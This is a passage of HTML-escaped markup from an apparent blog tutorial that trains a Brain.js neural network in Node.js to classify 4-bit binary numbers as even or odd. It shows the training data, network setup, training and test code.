&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 9 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 10 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 11 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 12 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 13 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 14 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 15 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see we’re showing the neural net “what good looks like”, so we provide it with the input of a binary representation of a number, and what I expect it to provide back as an output: 1 for even, 0 for odd.&lt;/p&gt;
&lt;p&gt;The neural net, however, isn’t going to reply back with 1 or 0 though, it’s going to reply back with a number between 0 and 1 that represents the probability of the number being even or odd. We can then round this number to get the final result, or more accurately, we’d check if the threshold is closer to 0 or 1, to base our decision on.&lt;/p&gt;
&lt;p&gt;How would we test the neural net? We will provide it with some number, say 5 (well, its binary representation &lt;code&gt;0101&lt;/code&gt;), and see what the neural net predicts. However, you might wonder, what’s the point of this? what’s the magic? we already told the neural network that 5 is odd. Yes?&lt;/p&gt;
&lt;p&gt;So, I suggest maybe we remove some of the training data and see how the neural net performs. Consider the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 1. Prepare training data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;trainingData&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 0 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [0, 0, 0, 1], output: [0] }, // 1 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [0, 0, 1, 0], output: [1] }, // 2 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 3 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 4 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [0, 1, 0, 1], output: [0] }, // 5 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [0, 1, 1, 0], output: [1] }, // 6 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [0, 1, 1, 1], output: [0] }, // 7 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [1, 0, 0, 0], output: [1] }, // 8 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [1, 0, 0, 1], output: [0] }, // 9 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 10 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  { input: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;], output: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] }, &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 11 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// { input: [1, 1, 0, 0], output: [1] }, // 12 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   { input: [1, 1, 0, 1], output: [0] }, // 13 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   { input: [1, 1, 1, 0], output: [1] }, // 14 (even)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;//   { input: [1, 1, 1, 1], output: [0] }, // 15 (odd)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, let’s not forget to import the &lt;code&gt;Brain.js&lt;/code&gt; dependency:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;brain&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;brain.js&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, so now let’s go on. Next step is to create the neural network:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 2. Create the neural network&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;net&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; brain.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;NeuralNetwork&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 8 neurons in the layer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  hiddenLayers: [&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: we’ll get back to the hidden layer configuration here but I specifically didn’t leave the default. As an exercise, you should play with the hidden layer and try to expand on providing more neurons and more layers. How does the neural network perform when you set hidden layers to &lt;code&gt;[8,8,8,8,8,8,8,8,8,8,8]&lt;/code&gt; for example?&lt;/p&gt;
&lt;p&gt;The above neural network is initialized using defaults, including an activation function and other parameters. Now we’re ready to train:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 3. Train the network&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;net.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;train&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(trainingData);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a CPU-bound synchronous process that happens in the Node.js main thread. You can also read the training data result from the returned object to get some statistics about the training process.&lt;/p&gt;
&lt;p&gt;Finally, let’s test the network:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// 4. Test the network&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;testNumber&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; number.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;padStart&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;0&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(Number);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; net.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(binary);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;isEven&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; result[&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0.5&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;correctNess&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; isEven &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (number &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;correctNess&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;✅&apos;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;❌&apos;} Number: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} (Binary: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}) - Even: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;isEven&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;} (Accuracy: ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;})`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
